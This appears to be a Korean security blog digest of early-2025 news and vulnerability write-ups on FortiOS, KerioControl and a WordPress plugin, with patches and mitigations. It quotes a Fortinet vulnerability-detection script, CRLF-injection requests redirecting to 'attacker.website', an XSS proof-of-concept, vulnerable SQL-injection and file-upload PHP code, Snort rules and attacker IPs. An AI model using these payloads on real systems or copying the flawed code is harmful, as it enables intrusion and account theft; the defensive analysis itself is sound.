요약 - 다크웹 포럼에서 1만5000개 이상의 포티게이트(Fortigate) 방화벽 설정파일 공개
- 사용자 이름, 비밀번호, 장치 관리 디지털 인증서, 방화벽 규칙들이 포함되어 있음
내용 - 다크웹 포럼에서 1만5000개 이상의 포티게이트(Fortigate) 방화벽 설정파일 공개
> 사용자 이름, 비밀번호, 장치 관리 디지털 인증서, 방화벽 규칙들이 포함
> 25.01.14 최초 업로드 되었으나, 분석 결과 22년에 탈취한 정보일 가능성이 높음

- CVE-2022-40684 취약점을 악용해 방화벽을 침해한 것으로 분석
> 대체 경로 또는 채널을 사용하는 인증 우회[CWE-288]를 통해 인증되지 않은 공격자가 특별히 제작된 HTTP(S) 요청을 통해 관리 인터페이스에서 발생하는 인증을 우회할 수 있는 취약점 (CVSS: 9.8)

- 해당 사태에 영향받는 IP들을 pastebin[.]com/mffLfcLp에 공개
> 이번 사태와 관련이 없더라도, 크리덴셜, 인증서, 방화벽 규칙 모두 재설정 권장
> CVE-2022-40684 취약점 패치가 올바르게 적용되었는지도 점검
기타 -

 

보안뉴스

 

[긴급] 포티게이트 방화벽 설정파일 1만5000개 유출, IP 주소 확인 필요

다크웹의 한 영어권 포럼에서 1만5000개 이상의 포티게이트(Fortigate) 방화벽 설정파일이 공개됐다. 그 안에는 사용자 이름, 비밀번호, 장치 관리 디지털 인증서, 방화벽 규칙들이 포함되어 있었다.

www.boannews.com

 

CloudSEK: List of IPs from BelSen Group Fortigate Configuration Leak - Pastebin.com

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

pastebin.com

요약 - 오래된 보안 프로토콜 NTLM의 첫 번째 버전이 여전히 악용될 수 있다는 연구 결과 발표
- 사용 현황을 파악하여 없애고, 새 메커니즘 도입 필요
내용 - NTLMv1
> 93년 발표된 후 NTLM 릴레이 공격이 개발된 이후 NTLM은 본격적으로 몰락하기 시작

- NTLMv2
> 보안 강화 : 암호화 방식 강화, 인증을 위해 요구되는 정보 증가
> 그러나 NTLM 자체가 오래된 프로토콜이라는 한계점을 극복할 수는 없으므로, 보다 최신 인증 방식으로 대체 필요

- Active Directory 사용자 계정의 64%가 NTLM을 통해 정기적으로 인증을 진행
> NTLMv1 때문에 발생하는 문제들을 해결하기 위해 각종 보안 정책 도입
> 그러나 여전히 우회할 수 있으며, NTLMv1이 가진 보안 취약점을 악용할 수 있음

※ 현재 사용자 인증은 케르베로스(Kerberos) 방식이 인기

- MS, 24.12 NTLM 개발 중단 공식적 발표

- NTLMv1이 정책적으로 비활성화 된 상태에서도 여전히 사용되도록 할 수 있는 공격이 발견
> 데이터를 구조화 하고 악성 애플리케이션을 적절히 활용한다면 차단 정책들을 우회하는 게 가능
> MS에 개념증명을 전달해 윈도 11 버전 24H2와 윈도 서버 2025부터 수정 및 보완 사항을 적용할 것이라 답변 받음

- NTLM이 사용되고 있는 현황을 파악하여 보다 현대화 된 인증 메커니즘으로 대체할 필요
① 도메인 내 모든 NTLM 인증에 대한 감사 로그 활성화
② NTLM 인증을 기본 인증 또는 대체 인증 방식으로 사용하는 모든 애플리케이션 파악 및 매핑
③ 클라이언트에게 NTLMv1 메시지를 사용하도록 요청하는 취약 애플리케이션 파악
④ NTLM을 현대적인 인증 방식으로 변경
기타 -

 

보안뉴스

 

오래됐지만 여전히 사랑받는 NTLM, 이제 정말 없애야 할 때

오래된 보안 프로토콜 중 하나인 NTLM의 첫 번째 버전이 여전히 악용될 수 있다는 연구 결과가 발표됐다. MS로부터 시작해 수많은 기업들이 없애려고 노력하는 바로 그 첫 버전이 여전히 살아있어

www.boannews.com

 

NTLMv1을 차단했다고 생각하십니까? NTLM 인증을 우회하는 것은 여전히 ​​가능합니다.

Silverfort 발견하다 Active Directory NTLMv1을 비활성화하도록 설계된 그룹 정책은 간단한 구성 오류로 쉽게 우회되어 NTLMv1 인증이 지속될 수 있습니다.

www.silverfort.com

요약 - 주요 생성형 AI 도구들의 입력 데이터 수만 건을 분석한 '생성형 AI로 유출되는 데이터 현황' 보고서 발표
- 직원들의 생성형 AI 도구 사용 과정에서 상당한 양의 민감 정보가 외부에  노출되고 있음
내용 - '생성형 AI로 유출되는 데이터 현황' 보고서
> Microsoft Copilot, ChatGPT, Google Gemini, Anthropic Claude, Perplexity 등 주요 생성형 AI 도구들의 입력 데이터 수만 건을 분석
> 전체 입력 데이터 중 8.5%가 민감정보를 포함되어 있었으며, 기업 보안에 심각한 위험요소로 작용할 수 있음

- 민감정보 유출 현황 분석
① 고객 데이터 45.77%
> 고객 보고서 65.8%
> 고객 프로필 20.9%
> 결제 거래 정보 8.9%
> 신용카드 정보 1.7%
> 청구 정보 2.0%
> 고객 인증 정보 0.5%
> 분쟁 해결 데이터 0.2%

② 직원 관련 데이터 26.83%
> 직원 급여 정보 49.6%
> 직원 개인식별정보 49.6%
> 고용 기록 0.8%

③ 법률 및 재무 데이터 14.88%
> 영업 파이프라인 데이터 45.5%
> 인수합병 정보 22.0%
> 법률 문서 13.6%
> 투자 포트폴리오 데이터 15.9%
> 재무 전망 2.3%
> 특허 정보 0.8% 등

④ 보안 관련 정보 6.88%
> 네트워크 구성 34.4%
> 보안사고 보고서 31.1%
> 사용자 접근 로그 16.4%
> 관리 시스템 설정 8.2%
> 보안 정책 4.9%
> 백업 계획 3.3%
> 접근 제어 정책 1.7%

⑤ 민감 코드 5.64%
> 접근 키 82.0%
> 독점 소스 코드 18.0%

- 기업의 96%가 생성형 AI 사용을 위한 거버넌스 구조를 구축 중이며, 82%가 데이터 유출을 우려
> 기업은 민감한 데이터 노출로 인한 경쟁력 상실과 생성형 AI를 도입하지 않았을 때의 기술적 낙오 사이 고민 중

- 생성형 AI 사용 차단이 아닌 더 지능적인 통제 방안 도입 필요
> 생성형 AI 도구 사용에 대한 실시간 모니터링 시스템 구축
> 데이터를 학습하지 않는 유료 버전 사용 정책 수립
> 프롬프트 수준의 가시성 확보
> 데이터 유출 시점에서의 민감 데이터 분류 체계 수립
> 부서별 맞춤형 스마트 규칙 실행
> 생성형 AI의 책임있는 사용을 위한 직원 교육 등
기타 -

 

보안뉴스

 

챗GPT·클로드·제미나이에 유출된 정보 분석했더니…

직원 48%가 기업 정보 무단 입력... AI 도구로 인한 데이터 유출 실태보안 전문기업 하모닉(Harmonic)이 발표한 '생성형 AI로 유출되는 데이터 현황' 보고서에 따르면, 직원들의 생성형 AI 도구 사용 과

zdnet.co.kr

 

요약 - 구글 오오스에서 근본적인 설계 오류가 발견 되었으며, 관련 패치는 발표되지 않음
- 망한 회사의 도메인을 구입하면, 그 회사의 과거 SaaS 등에 접속 가능
내용 - 구글 오오스 설계 오류로 망한 회사의 도메인을 이용해 계정이 연동된 서비스에 로그인 가능
> 사용자를 나타내는 일련의 정보들인 클레임(Claim)을 사용해 로그인 가능 여부를 판단
> 클레임에는 사용중인 도메인과 사용자의 이메일 주소가 포함
> 이 두 가지 클레임만으로 로그인 가능 여부를 판단할 때 문제가 발생
> 도메인 소유권이 변경되었어도 도메인 이름과 이메일 주소만 같다면 로그인이 가능
> 누군가 망한 회사의 도메인을 구매할 경우, 클레임을 물려받게 되고, 이를 통해 이전 SaaS에도 로그인 가능

- 구글은 아직 패치를 발표하지 않았으며, 언제 발표될 지도 모름
> 현재로서는 해결책이 없음
> 기존 클레임 외 변하지 않는 식별자를 어떻게든 도입해야 함
기타 -

 

보안뉴스

 

구글 오오스가 가진 근본 취약점, 구글은 아직 해결하지 못해

이제는 ‘구글 계정으로 로그인’(Sign in with Google)을 못 본 사람은 드물 것이다. 구글만이 아니라 애플과 페이스북, 네이버에 계정이 있는 사람이라면 비슷하게 로그인을 할 수 있다. 편리하면서

www.boannews.com

 

Millions of Accounts Vulnerable due to Google’s OAuth Flaw ◆ Truffle Security Co.

Millions of Americans can have their data stolen right now because of a deficiency in Google’s “Sign in with Google” authentication flow. If you’ve worked for a startup in the past - especially one that has since shut down - you might be vulnerable

trufflesecurity.com

1. 대체 경로, 대체 채널

- 인증이나 정상적인 보안 메커니즘을 우회하는 공격 경로를 의미 (CWE-288) [1]

 

- 대체 경로(Alternate Path)
시스템이 정상적으로 인증을 요구하는 주요 경로(로그인 페이지 등)를 우회할 수 있는 비표준적인(≒비공식적인) 경로
> 디버깅용 또는 개발 테스트용 백도어가 남아있는 경우
> 사용자 입력 값(URL 매개변수)을 조작해 비인가된 데이터를 조회
> 잘못된 권한 검증으로 특정 파일 또는 디렉토리에 접근

> 대응 : 디버깅 및 테스트 코드 제거, 입력 값 검증, 숨겨진 디렉터리 접근 방지 등

 

- 대체 채널(Alternate Channel)
정상적인 인증 프로세스와 보안 채널(HTTPS 등)을 우회하여 비정상적인 통신 채널을 통해 시스템에 접근하거나 데이터를 전송하는 것
> HTTP 요청을 통해 정보 전송 및 평문 가로채기
> 레거시 프로토콜을 통해 암호화되지 않은 정보 가로채기
> 모바일 앱, IoT 기기에서 SSL/TLS 인증서 검증이 불완전해 중간자 공격으로 데이터 탈취

> 대응 : HTTPS 강제 적용, 레거시 프로토콜 비활성화, SSL/TLS 검증 강화, 네트워크 모니터링 및 로그 관리 등

2. CVE-2024-55591

[사진 1] CVE-2024-55591 [2]

- Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 공격자는 Node.js 웹소켓 모듈에 대한 조작된 요청을 통해 슈퍼 관리자 권한을 얻을 수 있음

※ 취약점 관련 상세 내용 확인 불가

영향받는 제품
- FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하
- FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하

 

- 관련 PoC [3]

> 총 5개의 조건을 충족할 경우 취약 (status_code_1_check, status_code_2_check, body_checks, header_marker_check, connection_upgrade_check)

구분 설명
status_code_1_check - 첫 번째 요청 및 응답으로 해당 페이지가 로그인 관련 페이지인지 확인

first_url = f"{base_url}/login?redir=/ng"
first_response = requests.get(first_url, verify=False, timeout=10)
<중략>
status_code_1_check = first_response.status_code == 200
status_code_2_check - 두 번째 요청 및 응답으로 WebSocket 업그레이드 가능 여부 확인

second_url = f"{base_url}/watchTowr-{random_suffix}"
second_headers = {
'Sec-WebSocket-Version': '13',
'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
'Connection': 'keep-alive, Upgrade',
'Upgrade': 'websocket'
}
second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
<중략>
status_code_2_check = second_response.status_code == 101

※ 응답코드 101 : 클라이언트가 보낸 업그레이드 요청 헤더에 대한 응답으로, 서버가 클라이언트의 Upgrade 요청을 받아들여 프로토콜을 변경할 것임을 알림, 주로 WebSocket 프로토콜 전환 시 사용 [4]
body_checks - 첫 번째 응답에서 세 가지 값 (html_main_app_check,  f_icon_warning_check, f_icon_closing_check)의 만족 여부 확인

html_main_app_check = '<html class="main-app">' in first_response.text
f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
f_icon_closing_check = '</f-icon>' in first_response.text
<중략>
body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
header_marker_check - 첫 번째 응답에서 특정 헤더 (APSCOOKIE_)의 존재 여부 확인

header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
connection_upgrade_check - 두 번째 응답에서 Connection 헤더의 값 확인

connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
import requests
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse

banner = """\
             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\\\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\\\___|   Y  |    |(  <_> \\     / |  | \\\n       \\/\\_/ (____  |__|  \\\\\\\___  |___|__|__  | \\\\__  / \\\/\\_/  |__|   
                  \\\          \\\     \\\                              

        CVE-2024-55591.py
        (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) vulnerable detection by watchTowr
        
          - Sonny , watchTowr (sonny@watchTowr.com)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)

        CVEs: [CVE-2024-55591]
"""

def generate_random_suffix(length=6):
    """Generate a random lowercase suffix."""
    return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(length))

def perform_web_interaction(target, port):
    """
    Perform a two-step web interaction with specific parameters.
    
    Args:
        target (str): Target IP address
        port (int): Target port
    
    Returns:
        tuple: Results of the two requests
    """
    # Construct base URL
    base_url = f"https://{target}:{port}"
    
    # Generate random suffix
    random_suffix = generate_random_suffix()
    
    # Disable SSL verification warnings
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    # First request - login-like endpoint
    first_url = f"{base_url}/login?redir=/ng"
    first_response = requests.get(first_url, verify=False, timeout=10)
    
    # Second request - endpoint with random suffix
    second_url = f"{base_url}/watchTowr-{random_suffix}"
    second_headers = {
        'Sec-WebSocket-Version': '13',
        'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
        'Connection': 'keep-alive, Upgrade',
        'Upgrade': 'websocket'
    }
    second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
    
    return first_response, second_response

def validate_interaction_conditions(first_response, second_response):
    """
    Validate specific conditions for the web interaction.
    
    Args:
        first_response (requests.Response): First HTTP response
        second_response (requests.Response): Second HTTP response
    
    Returns:
        bool: Whether all conditions are met
    """
    try:
        # Check status codes
        status_code_1_check = first_response.status_code == 200
        status_code_2_check = second_response.status_code == 101
        
        # Check body contents for first response
        html_main_app_check = '<html class="main-app">' in first_response.text
        f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
        f_icon_closing_check = '</f-icon>' in first_response.text
        
        body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
        
        # Check for specific header marker
        header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
        
        # Check connection upgrade for second response
        connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
        
        # Print detailed information about first response matchers
        if not html_main_app_check:
            print("[!] Target is not a FortiOS Management Interface")
            exit()
        
        if not f_icon_warning_check:
            print("[!] '<f-icon class=\"fa-warning\"' not found in response")

        # Combine all checks
        return all([
            status_code_1_check,
            status_code_2_check,
            body_checks,
            header_marker_check,
            connection_upgrade_check
        ])
    except Exception as e:
        print(f"[!] Error during validation: {e}")
        return False

def main():
    """
    Main function to run the web interaction checks.
    """
    print(banner)

    parser = argparse.ArgumentParser(description='CVE-2024-55591 Detection Tool')
    parser.add_argument('--target', '-t', type=str, help='IP address of the target', required=True)
    parser.add_argument('--port', '-p', type=int, help='Port of the target', required=False, default=443)
    args = parser.parse_args()

    try:
        print(f"[*] Targeting: https://{args.target}:{args.port}")
        first_response, second_response = perform_web_interaction(args.target, args.port)
        
        result = validate_interaction_conditions(first_response, second_response)
        
        if result:
            print("[!] VULNERABLE: All conditions were met")
        else:
            print("[*] NOT VULNERABLE: Conditions were not satisfied")
        
    except requests.RequestException as e:
        print(f"[!] Request error: {e}")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5]

제품명 영향받는 버전 해결 버전
FortiOS 7.0 7.0.0 이상 ~ 7.0.16 이하 7.0.17 이상
FortiProxy 7.2.0 이상 ~ 7.2.12 이하 7.2.13 이상
7.0.0 이상 ~ 7.0.19 이하 7.0.20 이상

 

> Fortinet 권고사항 [6]

구분 설명
로그 점검 - 랜덤 scrip 및 dstip가 포함된 로그인 활동 관련 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Admin login successful" sn="1733486785" user="admin" ui="jsconsole" method="jsconsole" srcip=1.1.1.1 dstip=1.1.1.1 action="login" status="success" reason="none" profile="super_admin" msg="Administrator admin logged in successfully from jsconsole"

-  무작위로 생성된 것처럼 보이는 사용자 이름과 소스 IP가 포함된 관리자 생성 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="jsconsole(127.0.0.1)" action="Add" cfgtid=1411317760 cfgpath="system.admin" cfgobj="vOcep" cfgattr="password[*]accprofile[super_admin]vdom[root]" msg="Add system.admin vOcep"

-  로그에서 공격자들이 사용한 것으로 나타난 IP 주소:
1.1.1[.]1
127.0.0[.]1
2.2.2[.]2
8.8.8[.]8
8.8.4[.]4
위협행위자 수행 작업 점검 - 임의의 사용자 이름으로 장치에 관리자 계정 생성
- 임의의 사용자 이름으로 장치에 로컬 사용자 계정 생성
- 사용자 그룹 생성 또는 기존 sslvpn 사용자 그룹에 위의 로컬 사용자 추가
- 기타 설정(방화벽 정책, 방화벽 주소 등) 추가/변경
- 위에 추가된 로컬 사용자로 sslvpn에 로그인하여 내부 네트워크로 가는 터널 생성
공격 IP 점검 및 차단 -  45.55.158[.]47 [가장 많이 사용되는 IP 주소]
-  87.249.138[.]47
-  155.133.4[.]175
-  37.19.196[.]65
-  149.22.94[.]37
권고 - HTTP/HTTPS 관리 인터페이스 비활성화
- 로컬-인 정책을 통해 관리 인터페이스에 접근할 수 있는 IP 주소를 제한

4. 참고

[1] https://cwe.mitre.org/data/definitions/288.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-55591
[3] https://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591/tree/main?tab=readme-ov-file
[4] https://docs.whatap.io/url/url-http-status
[5] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71632
[6] https://www.fortiguard.com/psirt/FG-IR-24-535
[7] https://arcticwolf.com/resources/blog/console-chaos-targets-fortinet-fortigate-firewalls/
[8] https://www.dailysecu.com/news/articleView.html?idxno=163036

요약 - Docker Desktop이 맥OS 사용자에게 악성코드 경고로 실행되지 않는 문제 발생
- 잘못된 코드 서명 인증서로 인해 발생하였으며, 최신 버전으로 업데이트 필요
내용 - Docker Desktop
> Docker의 컨테이너 관리 도구

- 25.01.07 맥OS 사용자들은 경고 메시지 수신
> “com[.]docker.vmnetd가 악성코드를 포함하고 있어 열리지 않았습니다. 이 조치로 인해 맥에 피해는 없었습니다.”
> 도커 데스크톱 실행을 차단하며 컨테이너 관리 작업을 중단시킴

- 도커는 잘못된 경고이며, 악성코드로 인한 위협은 없다고 밝힘
> 특정 파일에서 발생한 서명 인증 오류로, 맥OS의 파일 무결성 검사에서 오류를 유발
> 맥OS는 SW 파일의 서명 무결성을 확인하는데, 잘못된 서명이 파일을 위협 요소로 잘못 식별하게 된 것

- 도커는 문제가 해결된 4.37.2 버전과 여러 조치를 제공
기타 - 코드 서명 인증서의 중요성을 다시 한번 일깨워 준 사례
> 코드 서명 오류는 소프트웨어 무결성을 훼손해 보안 경고를 유발할 수 있음
> 소프트웨어 신뢰성에 부정적인 영향을 미침

 

보안뉴스

 

[긴급] 도커 데스크톱, 최신 버전으로 업데이트 필수…잘못된 코드 서명 인증서 문제 발생 - 데일

도커(Docker)의 컨테이너 관리 도구인 도커 데스크톱(Docker Desktop)이 맥OS(macOS) 사용자들에게 악성코드 경고로 인해 실행되지 않는 문제가 발생했다. 지난 1월 7일부터 보고된 이 문제는 잘못된 코드

www.dailysecu.com

 

Fix startup issue for Mac

Learn how to resolve issues affecting macOS users of Docker Desktop, including startup problems and false malware warnings, with upgrade, patch, and workaround solutions.

docs.docker.com

 

1. GFI KerioControl [1]

- 통합 네트워크 보안 솔루션
- 방화벽, VPN, 웹 필터링, 바이러스 방지, 네트워크 모니터링 기능 제공

2. CVE-2024-52875 [2]

- KerioControl에서 발생하는 CRLF 인젝션 취약점

> HTTP 헤더와 응답 내용을 조작하여, 악성 자바스크립트가 서버 응답에 삽입

> 스크립트가 실행되면 인증된 관리자 사용자의 쿠키 또는 CSRF 토큰을 탈취하며, 토큰을 활용해 악성 .IMG 파일 업로 및 루트 권한의 쉘 스크립트 실행

영향받는 버전 : KerioControl 9.2.5 ~ 9.4.5
CRLF (Carriage Return Line Feed) Injection
- CR (Carrige Return: \r, %0D) : 커서의 위치를 현재 줄의 맨 처음으로 보내는 기능
- LF (Line Feed: \n, %0A) : 커서를 다음 줄로 옮기는 기능
> CRLF는 줄 바꿈을 의미

- HTTP 요청과 응답은 Header와 Body로 구성되며, 이를 CRLF로 구분
- 요청 또는 응답에 CRLF를 추가해 Header와 Body를 분리하여 의도하지 않은 Header를 추가하거나 Body에 명령 추가가 가능한 취약점

 

- dest 파라미터에서 줄 바꿈 문자(Line Feed, LF)에 대한 불충분한 검증으로 인해 발생

> dest 파라미터를 통해 전달된 값은 Location 헤더로 설정되어 HTTP 응답

> Location 헤더는 HTTP 응답에서 클라이언트에게 리소스가 이동된 URL을 알려주는 데 사용되며, 주로 3xx 리다이렉션 응답에 사용

[요청]
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* aHR0cDovL2F0dGFja2VyLndlYnNpdGU= : hxxp://attacker.website

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: hxxp://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="hxxp://attacker.website">hxxp://attacker.website</a>

 

- dest 매개변수에 "\n"이 포함된 값을 전달하면 불충분한 검증으로 Header와 Body를 조작 및 분할할 수 있음

> 아래 응답 예시에서 Header는 HTTP/1.1 302 Found ~ Location: Test 이며 Body는 Test ~ Test</a>로 조작됨

[요청]
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* VGVzdAoKVGVzdA== : Test\n\nTest

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test


Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test

Test">Test

Test</a>

 

- 공격자는 dest 매개변수에 \n\n를 포함하는 악성 스크립트를 삽입해 악성 스크립트 실행 가능 [3]

스크립트 예시

<script>
 target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
 payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
 payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
 location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>

[사진 1] 공격 결과

3. 대응방안

- 벤더사 제공 업데이트 적용

제품명 영향받는 버전 해결 버전
KerioControl 9.2.5 ~ 9.4.5 9.4.5 패치 1

 

- 신뢰할 수 있는 IP만 웹 관리 인터페이스에 접근할 수 있도록 제한

- /admin 및 /noauth 페이지에 대한 공개 접근을 방화벽 규칙을 통해 비활성화

- dest 파라미터 대상 한 악성 활동 모니터링

- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/nonauth/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/admin/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"\n\n";)

4. 참고

[1] https://gfi.ai/products-and-solutions/network-security-solutions/keriocontrol
[2] https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875
[3] https://karmainsecurity.com/pocs/CVE-2024-52875.php
[4] https://www.dailysecu.com/news/articleView.html?idxno=162867

1. Fancy Product Designer

- 온라인에서 의류, 머그컵, 휴대폰 케이스 등을 사용자 맞춤형으로 디자인할 수 있게 해주는 Worpress 플러그인 [2]

2. 취약점

2.1 CVE-2024-51818 [3]

- 취약점은 class-wc-dokan.php의 get_products_sql_attrs() 함수에 존재
> 해당 함수는 class-product.php의 get_products()에 의해 호출
> Line13 : $attrs를 매개변수로 fpd_get_products_sql_attrs() 호출

 

- get_products_sql_attrs()
> Line23 : fpd_filter_users_select 값이 존재하고, -1이 아닌 경우 if문 실행
> Line24 : "user_id=" 문자열 뒤 strip_tags($_POST['fpd_filter_users_select'])를 추가한 결과를 $where 변수에 할당

 

strip_tags()는 NULL bytes와 HTML 및 PHP 태그를 제거하는 함수로 SQL 공격을 방지하지 못함 [4]
> Line29~31 : $where 값은 get_products()의 $wpdb->get_results로 쿼리에 실행

[사진 1] strip_tags()

inc/api/class-product.php, function get_products()
1     public static function get_products( $attrs = array(), $type = 'catalog' ) {
2     
3     global $wpdb;
4     
5     $defaults = array(
6     'cols' => '*',
7     'where' => '',
8     'order_by' => '',
9     'limit' => null,
10     'offset' => null
11     );
12     
13     $attrs = apply_filters( 'fpd_get_products_sql_attrs', $attrs );
14     
15     extract( array_merge( $defaults, $attrs ) );
16     
17     $products = array();
18     if( fpd_table_exists(FPD_PRODUCTS_TABLE) ) {
19     
20     $where = empty($where) ? $wpdb->prepare( 'WHERE type="%s"', $type) : $wpdb->prepare( 'WHERE type="%s" AND ', $type ) . $where;
21     
22     if( !preg_match('/^[a-zA-Z]+\\s(ASC|DESC)$/', $order_by) )
23     $order_by = '';
24     $order_by = empty($order_by) ? '' : 'ORDER BY '. $order_by;
25     
26     $limit = empty($limit) ? '' : $wpdb->prepare( 'LIMIT %d', $limit );
27     $offset = empty($offset) ? '' : $wpdb->prepare( 'OFFSET %d', $offset );
28     
29     $products = $wpdb->get_results(
30     SELECT $cols FROM .FPD_PRODUCTS_TABLE." $where $order_by $limit $offset"
31     );
32     
33     }
34     
35     return $products;
36     
37     }

woo/class-wc-dokan.php, function get_products_sql_attrs
1     public function get_products_sql_attrs( $attrs ) {
2     
3     $where = isset( $attrs['where'] ) ? $attrs['where'] : null;
4     
5     if( self::user_is_vendor() ) {
6     
7     $user_ids = array(get_current_user_id());
8     
9     //add fpd products from user
10     $fpd_products_user_id = fpd_get_option( 'fpd_wc_dokan_user_global_products' );
11     
12     //skip if no use is set or on product builder
13     if( $fpd_products_user_id !== 'none' && !(isset( $_GET['page'] ) && $_GET['page'] === 'fpd_product_builder') )
14     array_push( $user_ids, $fpd_products_user_id );
15     
16     $user_ids = join( ",", $user_ids );
17     
18     $where = empty($where) ? "user_id IN ($user_ids)" : $where." AND user_id IN ($user_ids)";
19     
20     }
21     
22     //manage products filter
23     if( isset($_POST['fpd_filter_users_select']) && $_POST['fpd_filter_users_select'] != "-1" ) {
24     $where = "user_id=".strip_tags( $_POST['fpd_filter_users_select'] );
25     
26     
27     $attrs['where'] = $where;
28     
29     return $attrs;
30     
31     }

 

2.2 CVE-2024-51919 [5]

- 취약점은 class-pro-export.php의 save_remote_file() 함수와 fpd-admin-functions.php의 fpd_admin_copy_file() 함수에 존재

 

- save_remote_file()
> Line9 : $remote_file_url을 통해 원격 URL 값을 받아 fpd_admin_copy_file() 호출

 

- fpd_admin_copy_file()
> Line8 : basename($file_url)의 결과를 $filename에 할당
> Line10 ~ Line22 : 파일을 복사 또는 저장
파일에 대한 검사 없이 복사 또는 저장하므로 임의의 파일 업로드가 가능

pro-export/class-pro-export.php, function save_remote_file()
1     public static function save_remote_file( $remote_file_url ) {
2     
3         $unique_dir = time().bin2hex(random_bytes(16));
4         $temp_dir = FPD_ORDER_DIR . 'print_ready_files/' . $unique_dir;
5         mkdir($temp_dir);
6     
7         $local_file_path = $temp_dir;
8     
9         $filename = fpd_admin_copy_file(
10             $remote_file_url,
11             $local_file_path
12         );
13     
14         return $filename ? $unique_dir . '/' . $filename : null;
15     
16     }

admin/fpd-admin-functions.php, function fpd_admin_copy_file()
1     function fpd_admin_copy_file( $file_url, $destination_dir ) {
2     
3     if( empty( $file_url ) ) return false;
4     
5     if( !file_exists($destination_dir) )
6             wp_mkdir_p( $destination_dir );
7     
8     $filename = basename( $file_url );
9     
10     if( function_exists('copy') ) {
11     
12     return copy( $file_url, $destination_dir . '/' . $filename ) ? $filename : false;
13     
14     }
15     else {
16     
17     $content = file_get_contents( $file_url );
18     $fp = fopen( $destination_dir . '/' . $filename, 'w' );
19     $bytes = fwrite( $fp, $content );
20     fclose( $fp );
21     
22     return $bytes !== false ? $filename : false;
23     
24     }

3. 대응방안

- 취약점이 벤더사에 전달 되었으나, 최근 버전(6.4.3)까지 패치가 이루어지지 않은 상태
> 권고사항
ⓐ임의 파일 업로드 방지 : 안전한 파일 확장자만 허용하는 허용 목록(allowlist) 설정
ⓑ SQL 인젝션 대응 : 데이터베이스 쿼리의 철저한 입력 값 검증 및 적절한 이스케이프 처리
ⓒ 정기적인 보안 점검 : 플러그인 업데이트 상태 주기적 확인 및 새로운 취약점 발생 여부 모니터링
ⓓ 대안 플러그인 고려 : 개발사가 문제를 해결하지 않는 상황에서 보안이 보장된 대안 플러그인을 사용 고려

4. 참고

[1] https://patchstack.com/articles/critical-vulnerabilities-found-in-fancy-product-designer-plugin/
[2] https://fancyproductdesigner.com/
[3] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-sql-injection-vulnerability
[4] https://www.php.net/manual/en/function.strip-tags.php
